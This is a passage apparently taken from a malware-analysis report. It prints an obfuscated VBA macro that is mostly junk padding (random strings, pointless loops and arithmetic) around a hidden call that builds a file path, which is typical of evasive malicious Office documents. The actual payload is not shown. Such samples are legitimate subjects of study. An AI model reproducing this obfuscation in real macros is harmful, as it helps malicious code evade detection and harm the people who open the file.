        KPOoSEY = Right("xDLqy#kfP)PkLkxW!@V", 2)
    Next RbBILl

    edjgR = 1245 - 843 - 940
    YBkqt = Space(16)
    pmuHR = LTrim("sFtj.DbvG.]XxzT")
    cUyWtbz = "&[_Pvu#TksEVDuYAPHA" + "#^KtparrX XaNL" + "q!%OJ*TRQXqG?wkH"
    edjgR = UCase("gdJ@jzGzPI")
    YgcRVZ = 1548 - 1637 - 1079
    bPQJivSF = Space(19)
    For xqshER = 0 To 212
        GfqvmIWM = Space(3)
        zXWTGuviz = StrReverse("ffa@y^tVE)zz q")
        cUyWtbz = Left("QzZBfNBHbJQc", 3)
    Next xqshER

        EUgBh.Close
    bPQJivSF = RTrim("QavatKuDzHHntxOL^Vzq")
    cUyWtbz = UCase("wWT(!cw]uR[?r]kon")
    IGxkhs = StrReverse("fiouhHp&vOyhq*md")
    SbsvWABH = 1129 - 1818 - 202
    edjgR = 111 - 1301 - 949
    SbsvWABH = UCase("[feM?fYih&nnQKuW")
    While cOFwti < 253
        cUyWtbz = 254 + 916 + 197
        YBkqt = 195 - 952 - 405
        KtXLMkaqe = LTrim("*r[M()#dgcHo.K^ZFlv")
        cOFwti = cOFwti + 3
    Wend

    tyCWVQj = 557 + 721 + 468
    For kaqIjy = 0 To 201
        tyCWVQj = StrReverse(".(lcNnmIEu.Kbg")
        SbsvWABH = Space(14)
        cUyWtbz = LTrim("x(m EcVbdgPXsElU")
        IGxkhs = Space(15)
        edjgR = LTrim("QJlHHTzSBi WQh]kMkP")
        pmuHR = LTrim("Zs[dn_!ubfdg")
        KPOoSEY = Right("YEsyLK$nw]wL", 2)
        YBkqt = RTrim("lefJ!?*NFLQQ&]I#&?")
        GfqvmIWM = "NNKQSmHc[IJIFE" + "VBCVVfeYrMNfJzXv&l" + "m$Vr MILC@DWoGBsel S"
    Next kaqIjy

    edjgR = 1840 - 833 - 400

    While dbpvi < 693
        KtXLMkaqe = UCase("PkGUoI*z*yvMR")
        For pSPngh = 0 To 166
            zXWTGuviz = "CACvDqNHfz" + "h-tplD!oPDe_Ow!!m" + "khW.?!LZIWZGuF$Kbo$b"
            edjgR = "otVWpAeDIC[bLjef" + "Z[UKxV!YArwQ_(" + "gLodb@xrV!K#qI#F"
        Next pSPngh

        drvQCYb = RTrim("V$jyQZGUFAiC.sW.")
        IGxkhs = RTrim("Db!!sDoGIiz")
        While prJHKh < 84
            KtXLMkaqe = Space(11)
            YBkqt = 1966 - 747 - 1423
            KPOoSEY = 1902 - 819 - 1391
            cUyWtbz = 559 - 1343 - 994
            KPOoSEY = "wllzXdzt$?VQav(Mf" + "BX]sV%kdHrMYHw.a" + "!]DJPMEpi a?XjB!bnnF"
            SbsvWABH = Space(15)
            EvtmuX = Right("dQdukc^H-fCcx[AGjq", 3)
            prJHKh = prJHKh + 1
        Wend

        SbsvWABH = "lmvYtWtU#VVIKfdO" + "d TARBt]kJd$" + "(pPrAxafLUo"
        For GbKAcU = 0 To 295
            cUyWtbz = UCase("ouB]d$&oO@T_-T")
            drvQCYb = 330 + 1684 + 603
            edjgR = "C f@BIvejUj*ubn&xoAo" + "AWDQNAwiLSD(U$TqF" + "GHNl# npsBA-lg$.U"
            drvQCYb = Space(12)
            tyCWVQj = Space(15)
            edjgR = LTrim("!C%kGX qaBS&")
            edjgR = LTrim("C!*bbdH[Q]caUS*(!")
            GfqvmIWM = Space(12)
        Next GbKAcU

        YgcRVZ = Left("ymsu(O?HL#vACQj!$*gf", 3)
        For rwPpiO = 0 To 348
            YgcRVZ = StrReverse("@#r]A^FaNRPY")
            cUyWtbz = 1253 - 580 - 847
            pmuHR = Space(10)
            SbsvWABH = StrReverse("uYvVY)bVcA_ejyf")
            cUyWtbz = RTrim("@!RR.mmj@Pc(*nY")
        Next rwPpiO

        IGxkhs = 1555 + 1307 + 767
        If dbpvi = 550 Then
            Call CMKuZb(WyPuih & "\\" & SFdsmL(VOojkoif), "LoWBkd", "wfYBinDHF", "gvQEkkALI", "qvizPRJe", "xtBgOflztD", "qfMYjF")
            GfqvmIWM = 309 + 1405 + 676
            zXWTGuviz = 1928 - 356 - 164
            For LtpVAq = 0 To 74
                EvtmuX = 176 + 1774 + 327
                GfqvmIWM = Left("RnQGthq.H.TnZF", 3)
                bPQJivSF = LTrim("#-Hh)xu#^Frai!")
                edjgR = RTrim("Fy&hg*Dzzh")
                edjgR = UCase("^GY(_Ccs.cIcE")
            Next LtpVAq

            SbsvWABH = Left("XjDgU(yD!XU", 4)
            edjgR = Right("_UlJO$g$bu", 2)
            bPQJivSF = Right("UPWijVsqXfaB#! -[*A", 2)
            edjgR = LTrim("_espQ#vVgJz !r%cZ")
            While xVfSFw < 107
                bPQJivSF = RTrim("#lLb^I]gJD")
                zXWTGuviz = UCase("vaDhTeIR([h-AEh!Ld")
                tyCWVQj = UCase("ye$y%ckYnZ)ryxY")
                edjgR = RTrim("&^Rg.YL](xggx")
                xVfSFw = xVfSFw + 1
            Wend

        End If
        cUyWtbz = Right("v&u_FNb$ u-ibRAR", 5)
        KPOoSEY = UCase("*vWHmdIP$C&OV*(Kk ")
        YBkqt = "tf_f@.FSHMA$OP" + "wix?L&b?w!-mM)fY.q!E" + "xT?y]USXFXnX"
        GfqvmIWM = 1447 + 1697 + 669
        YgcRVZ = Right("F&gaPMU(ljo[x", 4)
        IGxkhs = "?^PL.ukpBAEEDT_kK" + ")FChndYqB%%A*z*VU" + "N%#$KCSwwAERVNK%e"
        drvQCYb = Right("RInV&Xl)&f", 4)
        While czsmhF < 367
            SbsvWABH = 1757 - 1415 - 1644
            pmuHR = Right("]Jv!%aWGJG DdGyx%&X^", 4)
            YBkqt = 294 - 1086 - 1472
            pmuHR = 807 + 1985 + 1161
            czsmhF = czsmhF + 3
        Wend


    dbpvi = dbpvi + 1
    Wend
    zXWTGuviz = 1576 + 260 + 1858
    GfqvmIWM = StrReverse("MipkKNhZdLwUZZEF y ")
    KtXLMkaqe = "TEMF&H$LHkC^" + "sFFlR]ASf?o" + "gu!-CXPpm?"
    bPQJivSF = 410 - 1396 - 1762
    While BknqEi < 78
        KPOoSEY = RTrim("-UV&WnBovy^vQ$Us")
        zXWTGuviz = Right("ZJTeGswE%VKkz^.AK_L", 5)
        pmuHR = RTrim("EMoDOlD_dnbLxBZY-j")
        zXWTGuviz = Right("rbApwKtFHDt^HprX", 4)
        BknqEi = BknqEi + 3
    Wend

    EvtmuX = 542 + 228 + 1054
    YgcRVZ = Space(1)
    YBkqt = Space(17)
    For uEvTtP = 0 To 79
        EvtmuX = RTrim("j@sqy?ufnDfMgZ@*G")
        SbsvWABH = RTrim("NeyM&OIjKMquy$d")
    Next uEvTtP

    cUyWtbz = Left("OmxvrTCXDQc", 2)
    KPOoSEY = UCase("DErdQr]i)OHjw$&np")
    GfqvmIWM = StrReverse("Wh.p&S&wkXcyfr")
    SbsvWABH = StrReverse("v&*Bl*NMtUSmrn[oT")

End Sub

Private Sub vXKrTA(mfNtKw As String, eZpwDt As Boolean)
    For QCzMyp = 0 To 24
        EvtmuX = Left("jUsGyiHEMEg.k", 3)
        EvtmuX = StrReverse("y[@Scqd)pV?")
        cUyWtbz = Left(".WNz?J#&$M-", 3)
        YgcRVZ = 1725 - 1657 - 758
        zXWTGuviz = UCase("UjtOMtH@(mu@")
        EvtmuX = Left("cGpLiiL hVCH%Gt&dbB", 4)
        SbsvWABH = Space(8)
        YgcRVZ = LTrim("irebx_@?%jPjY^mlyk")
        edjgR = RTrim("yZIYHkHTfbKhVOSQtS")
        zXWTGuviz = 1256 - 578 - 478
    Next QCzMyp

    tyCWVQj = UCase("P$&*iyrb $-")
    EvtmuX = Left("L@sUH[Oen]oau[I", 5)
    cUyWtbz = UCase("OQCHx#cNUP-NLw")
    EvtmuX = Right("qVFPe!FjedtMX", 2)
    zXWTGuviz = Space(8)
    KtXLMkaqe = Space(2)
    bPQJivSF = "llN&mus*ahp#NK)lwwJ!" + "poxUnT.zuWLEyUCcPc" + "PI$*d.iX.DeMYJ"
    cUyWtbz = StrReverse("GRbZS_klU?xl)^xR")
    KPOoSEY = LTrim("h Z?dFFJRL[X?%Wf")
    pmuHR = Right("?wOycwP[REvL", 3)
    KPOoSEY = UCase("#[x#K*cwTzzKyS")
    While LwALtH < 379
        GfqvmIWM = "HkGIiOJ?o.Xm#]iy.sh" + "nlk-CjRO)so" + "rSnGw_BkOUSjTX"
        SbsvWABH = 936 + 443 + 1369
        EvtmuX = LTrim("V)aZQv*qJp")
        KPOoSEY = 359 + 813 + 583
        KtXLMkaqe = Left("R?m]C^T)GbTQ&", 3)
        cUyWtbz = "Vur% OnrsEJj&B)^" + "GTlMXj_SmhN^Mee&^$p" + "MCY[tdzUw(ePkX^"
        edjgR = StrReverse("g@V?y[aS(GUNcM")
        LwALtH = LwALtH + 2
    Wend

    tyCWVQj = RTrim("geLeTHAd[ ")
    IGxkhs = Left(")ORZ(tmQoc", 3)
    zXWTGuviz = UCase("on*W_VXiQ#qOrwcK")
    bPQJivSF = Left("xMiTqFfsAaXas)?c", 3)
    KPOoSEY = StrReverse("yx&m #Ik^@XxB#")
    GfqvmIWM = UCase("LhQBXnaTshslXv)")
    YgcRVZ = 1132 + 478 + 1140
    edjgR = StrReverse(")!gsxQ(m*^w(#e)]usg")
    bPQJivSF = RTrim("JYg$mPyPmd")
    SbsvWABH = Space(2)
    edjgR = UCase("#kTQ_EEX@hu[D[Vy")
    bPQJivSF = Right("B%oamQLDSP^", 3)
    bPQJivSF = Right("DJcqxmWW($R", 5)
    KtXLMkaqe = Space(2)
    tyCWVQj = 1164 - 344 - 485
    YBkqt = "yZPU@HtO_K%s)eUq " + "iqIaw%bCfIF%AiB[iDSW" + "**)$MS.k.qsxeGc-nL"
End Sub

Private Function wKDEKL(sREEQSm As String, ehhDpks As Integer, LztvIh As String, ettbvm As Double) As String
    pmuHR = 942 - 558 - 447
    tyCWVQj = LTrim("YPPNmQ$y CAP^[")
    KtXLMkaqe = Right(".Wn?ZRVJApQd", 5)
    pmuHR = Right("CXnpb[w!QJR(Dvs&.SbW", 5)
    pmuHR = RTrim("]cHPyQG(Q&QE!ifT@*")
    drvQCYb = Right("W.&%@e[)[&Jl", 2)
    drvQCYb = StrReverse("PVAJdSKLzi@@&!oPN")
    tyCWVQj = Right("xO.TWb#Wv[C_sJosTGmF", 3)
    IGxkhs = Right("h%)%Bio#gfv.b", 4)
    bPQJivSF = RTrim("QCj)&vKJK WKaQQluC$")
    edjgR = 429 - 1507 - 174
    EvtmuX = "he[ZZ-iqq_[#D]" + "BStx#_w@?iF" + "S^kB[E.c&SQ&O)t.Ev&"
    zXWTGuviz = Left("ZEH^VKH[LBOkCwPi^vT", 5)
    bPQJivSF = Space(16)
    SbsvWABH = Space(6)
    zXWTGuviz = Left("zO _cNC PTZ", 2)
    KPOoSEY = StrReverse("F oDqFdS[HdE%ndJO")
    zXWTGuviz = 111 - 1186 - 1614
    cUyWtbz = Left("NBD--*t$bLHwc.", 2)
    tyCWVQj = ")vs*L(PhRS?MWku" + "Jj_qF![#R[PL)$up" + "(uCNm[Br^ZLjtQ"
    KtXLMkaqe = UCase("v!uKWnRVyG^OVK^c^XPF")
    IGxkhs = 1541 + 442 + 246
    KPOoSEY = UCase("AHq!a#yyEet. $")
    KPOoSEY = "R%S?tPxait-?P-" + "uMOt%zX(fvwPW$aq" + "DaVfLxvmjh"
    zXWTGuviz = Space(17)
    SbsvWABH = RTrim("QmEx[gEcom")
    For QZtxTE = 0 To 375
        IGxkhs = Space(3)
        pmuHR = StrReverse("LloTz!F#Z?")
        KPOoSEY = 109 + 1268 + 643
        YBkqt = LTrim("Zbj(lPCPrByZo#[GXRp")
        SbsvWABH = Right("FYi[KoLZ!x^pwsseT*", 2)
        drvQCYb = LTrim("O)^^yKsMpT")
        GfqvmIWM = 1652 - 1399 - 1300
    Next QZtxTE

    For HvshOK = 0 To 107
        edjgR = Left("-C)cPMalTK", 4)
        pmuHR = 940 - 1969 - 1295
        tyCWVQj = LTrim("fgTqYFYc*y")
        IGxkhs = LTrim("MGwBTEP(V(vqs")
        YgcRVZ = Left("HCI-cLPyJq.nA]CcfuOE", 2)
        edjgR = Right("xaRAcd%uu@AFD^ZU", 4)
    Next HvshOK

    cUyWtbz = RTrim("CEvj ld%Kr!Ih!")
    drvQCYb = 1526 + 1966 + 346
    pmuHR = Right("C#?oT()EBXnOVxMbBJ", 2)
    wKDEKL = "pcVjXNhvwJnbqOEfPBsanxFeIfrtTRY"
End Function

Private Function PWAgTL(ynjojA As String, LBedIH As Integer, TKGsOc As Boolean, vquMGcg As Boolean) As String
    YBkqt = StrReverse("TauEH[E.OaMv@fD")
    zXWTGuviz = 1163 + 1666 + 1042
    KtXLMkaqe = "!B%vJmh M.CNu" + "jSSdoVYWLZ] ODW" + "MC]q GJn_aY.u&"
    pmuHR = LTrim("_kJqiGAl%iO(Z&uD")
    edjgR = Left("LdCKkbeH?rT-", 3)
    YBkqt = Space(20)
    cUyWtbz = 1728 + 695 + 863
    KtXLMkaqe = StrReverse("$R&Xf#nNSe")
    cUyWtbz = StrReverse("HJEk_RXBWquj?]IApC-")
    While mimmXU < 388
        YBkqt = 369 - 378 - 1883
        SbsvWABH = Left("kFcmiREsWZW", 5)
        cUyWtbz = StrReverse("?mjne_[IPHiAV owWuPj")
        zXWTGuviz = RTrim("vYXxU)(-orD@Pc")
        mimmXU = mimmXU + 3
    Wend

    For NzpEAy = 0 To 37
        GfqvmIWM = RTrim("S^TpAv)t!VHR")
        pmuHR = UCase("fN(tOHhfv-L")
        edjgR = " XK@vGKPQ$OUkmouSA" + "E$JA](fKOjMY!uFl%" + "TMTKHXUpleb#FXyiAgG"
    Next NzpEAy

    pmuHR = Space(3)
    YgcRVZ = StrReverse("_JyAEo&r@QDqk)euVpx")
    KPOoSEY = Right("%siWRjWnqc#%", 2)
    zXWTGuviz = Right("fJi*XNokd.", 2)
    For wpOKXF = 0 To 241
        drvQCYb = Space(4)
        pmuHR = RTrim("TtFu@AwShMilMP!UEh]v")
        YgcRVZ = Right("-BIjx@HR?mfE", 4)
        SbsvWABH = StrReverse("*$oqDLnwz&XjGlvR")
        YBkqt = LTrim("AJyUhhrr.UR")
        drvQCYb = 1245 - 1559 - 899
        YBkqt = UCase("Mnnx.gw@Iwo!KwhT@")
        YBkqt = Left("A%*R_f!%COY_aO", 2)
    Next wpOKXF

    zXWTGuviz = UCase("L(ux$)uTTsbtHZ")
    YBkqt = StrReverse("]TUHM#AJYH]PyVPyh")
    cUyWtbz = LTrim("XLBmJ^^FbMAFvMMaov")
    bPQJivSF = Right("PTSzl)S&GzhUyARqA", 2)
    SbsvWABH = 149 + 1919 + 964
    GfqvmIWM = Right("luiCaS XKpo Cm", 2)
    PWAgTL = "CSSTCHhAangtirnzrRgcSo"
End Function

Private Sub PolFMC(LcbEmr As String, AJkbuu As Double, wjNoVO As Integer, ZfYLVX As Boolean)
    KtXLMkaqe = 582 + 925 + 608
    tyCWVQj = Right("_pwTh.o)xoCn@G-", 5)
    EvtmuX = Left("$I%_t[P)dD", 4)
    While iMAHRw < 399
        pmuHR = StrReverse("v!TxuHJzjj@YccB")
        drvQCYb = StrReverse("_NAbfmFoj[uX_wi_Um")
        edjgR = 794 - 664 - 1547
        EvtmuX = Space(19)
        SbsvWABH = Left("gsE _IoHi #Fi", 5)
        EvtmuX = RTrim("J%rCN_bHxXmimqk")
        edjgR = StrReverse("hOqYdP%$c#!N.Xiex*t")
        IGxkhs = LTrim("EQa^gK.S!ELSfD")
        cUyWtbz = StrReverse("oe^E]DFX[_)Kp")
        iMAHRw = iMAHRw + 1
    Wend

    KPOoSEY = "x.stIv?iYuXa)hrocOti" + "Qn?]z#BZi.e&" + ")sU#EYONK)h$)$gbPWKa"
    drvQCYb = UCase("pOd-SNMhXLoNoO!VaP")
    zXWTGuviz = 1011 - 814 - 1468
    For QkgsMR = 0 To 77
        KtXLMkaqe = RTrim("](vl_vEmWS?lk!Rcf")
        KtXLMkaqe = "GyTvjAx[p$gG-GUMV#HB" + "lY]RwMSiuGjhUlt" + "DNvKFJ&Lv@"
        IGxkhs = "DFy^q*vaErfjKZp" + "a&BDrWxlFcvUznEp)]N" + "n!tDST)vahZ"
        cUyWtbz = LTrim("Mr-he*[-rEpfVjli")
        YgcRVZ = "B-gT!.o(QmtVEDQY!nM-" + "LUzZOkltXmT^*bJ$Pm" + "]BGl!SvOaGopH"
        KtXLMkaqe = 1209 - 150 - 1505
        EvtmuX = RTrim("RekFW-suEL?q(CUF(v")
    Next QkgsMR

    For dKsnAI = 0 To 138
        bPQJivSF = StrReverse("%ilavzJDa[G")
        tyCWVQj = StrReverse("R(m*aS)cyZ(")
        IGxkhs = StrReverse("j]LKh#hF(GYVg*oo")
        YgcRVZ = "?-.KUfykYM]wPn " + "vpSm!#o-*VrTvCJ%spK" + "BZT-GOFhKda"
        SbsvWABH = Right("#]$a!cBvd%", 2)
        YgcRVZ = RTrim("QBMaRvDbz#?e&up!o")
        KPOoSEY = 335 + 895 + 1118
        KtXLMkaqe = 1480 - 1008 - 1291
        KtXLMkaqe = UCase("rcNrcO%fLi![i_Y")
    Next dKsnAI

    For ZLwtbM = 0 To 230
        drvQCYb = RTrim("X)@l*dGVRSF")
        YgcRVZ = "sx[VA%sIwkPZpt]G(@" + "wamSAGYPX lgEgO^A" + "j*gJD?SL*uZ!w.D(Bk"
        KPOoSEY = StrReverse("RcGwK#aw]be$S^")
        KtXLMkaqe = Left("^&)gRoiQPkzrh", 4)
    Next ZLwtbM

    pmuHR = StrReverse("fe(_$af!$n")
    While YPerhH < 184
        EvtmuX = 1870 + 154 + 375
        YBkqt = UCase("P[(CXO[XWC^uaJQbzwyc")
        IGxkhs = RTrim("*I%y*a#weCrOrG")
        drvQCYb = LTrim("[AP b$CRmP")
        GfqvmIWM = "!D)S(TlQ_ZJljMCg" + "]HOsfSI_PnEOInB) VY" + "j_K?B??KyG&lEf"
        GfqvmIWM = RTrim("zJ*vybgtgHqWBzf")
        zXWTGuviz = 1629 - 136 - 1580
        edjgR = 1048 + 143 + 858
        YgcRVZ = Space(15)
        YPerhH = YPerhH + 1
    Wend

    For omLxVN = 0 To 42
        KPOoSEY = 1788 + 672 + 331
        bPQJivSF = Space(9)
    Next omLxVN

    While FfNDwa < 301
        tyCWVQj = 1021 + 250 + 753
        KtXLMkaqe = LTrim("t EJG&_cSVARctx")
        GfqvmIWM = LTrim("_Gzs^cqbGtEcQ ?f)l")
        cUyWtbz = RTrim("qQ&Tu&?iEq_D")
        YgcRVZ = 1896 - 196 - 664
        YgcRVZ = 1342 + 1505 + 502
        cUyWtbz = 1270 + 845 + 1971
        SbsvWABH = 222 - 1496 - 140
        FfNDwa = FfNDwa + 2
    Wend

    drvQCYb = Right("DX@AIt!]PzLSb$fK", 2)
    edjgR = Right("^pk]y_leJ)Dep-n", 5)
    pmuHR = LTrim("oX&IRSLkNr[)!]Sm$C")
    EvtmuX = Left("XDLQBxmyZ.dmyN$", 2)
    YgcRVZ = Left("U[O&cM&b#.qBk.$m]Pzz", 4)
    cUyWtbz = UCase("&i)eLLNz?MZ!vXC$w(")
    EvtmuX = LTrim("CKr$@]XFdeFU%")
    KPOoSEY = StrReverse("EtFv(AMKsYAGO!cS!%")
    SbsvWABH = LTrim("rCyRgqWIXsN*N%[!_ey")
    pmuHR = 566 + 876 + 1903
    YgcRVZ = 305 + 959 + 1970
    edjgR = 280 - 503 - 447
    zXWTGuviz = 1012 + 304 + 368
    While inzsmZ < 352
        KtXLMkaqe = Space(17)
        edjgR = LTrim("SigDGw^*!!BXSLkpVy")
        bPQJivSF = Right("e#aPhTY_im].IVV", 4)
        inzsmZ = inzsmZ + 3
    Wend

    EvtmuX = Left("^TPgB]b(MXGKugN", 3)
    bPQJivSF = 1260 - 1555 - 547
    For koJoRQ = 0 To 160
        bPQJivSF = Left("FCNbQ!!M@lt.&-R!M", 4)
        bPQJivSF = "Hz!Lrv$gD &!$XUsh" + "yLl?)sNROO?W" + "@[lIJRX_nufSojVMExz"
    Next koJoRQ

    KtXLMkaqe = 261 + 242 + 955
    YBkqt = 1101 + 1259 + 703
    YBkqt = LTrim("?TrmK.lnauY")
    zXWTGuviz = 1994 + 1967 + 141
    EvtmuX = 1686 + 1684 + 213
    YBkqt = "ZSzpzBuJPn" + "G%)HK)qxnHR*qL%&r" + "H*hyOzcABf"
    IGxkhs = Space(8)
    IGxkhs = Space(14)
    KPOoSEY = StrReverse("%(E]RB^aMH")
End Sub

Private Function UMwmfG(FKRwmp As Boolean, JMKzgX As Integer, KIGreOT As Boolean) As String
    EvtmuX = RTrim("]#)mxxxITE]XPb%]z.")
    YBkqt = StrReverse("-M%)#Ipcm&*Un#c")
    zXWTGuviz = Space(20)
    edjgR = LTrim("%fNWuWN(R*CTxc")
    zXWTGuviz = 1880 - 1384 - 275
    pmuHR = LTrim("-GkGG zDN$dNxfi")
    SbsvWABH = LTrim("g)gw.e^T^$[DO")
    cUyWtbz = UCase("dPyffjPF_e!YD]p")
    For OdIQsr = 0 To 389
        YgcRVZ = 455 + 1849 + 1099
        YBkqt = UCase("s.oUwkr)TQo%.iFmKgs")
        edjgR = UCase("zseHLXngu(B&$nPtdXW")
        SbsvWABH = StrReverse("R%y%SFWncGyT")
        SbsvWABH = 992 - 1620 - 1989
    Next OdIQsr

    YBkqt = 711 - 1510 - 1991
    SbsvWABH = "tVtqlY)#DYb#^" + "@*w$&FgdZ-" + "bdGh#kyjW%bbTqci"
    pmuHR = UCase("xA%yywa!A(Cml")
    bPQJivSF = LTrim("@UOd.OW)JLAL-_VE")
    drvQCYb = Right("BctKhZBPhm*hv.]", 3)
    drvQCYb = "kOD@i$ZTo*bs&GXh[b!" + "dEXyTF-kSDd" + "hAfUAWVD!^u#"
    pmuHR = Space(14)
    KtXLMkaqe = 348 - 508 - 419
    YBkqt = 339 + 1291 + 1545
    For sJVKxd = 0 To 232
        EvtmuX = Right("tK k(XyjikhaomW", 2)
        KtXLMkaqe = "aaV?m(EbnknC" + ")C-YaCf@G)$waHf" + "-NNc*jtZI)P"
        SbsvWABH = RTrim("$SxSEL_xa#JrZ")
        YgcRVZ = StrReverse("iZMJp^Rcf#q^#Gz%LAU")
        IGxkhs = UCase("AstsSFG[[py*!G*aFzn")
        GfqvmIWM = Right("-jG#pZ jpZ", 3)
        KtXLMkaqe = Right("Kyp@AulocmzaCq", 5)
…

Open this report in the interactive analyzer, or submit your own file for analysis.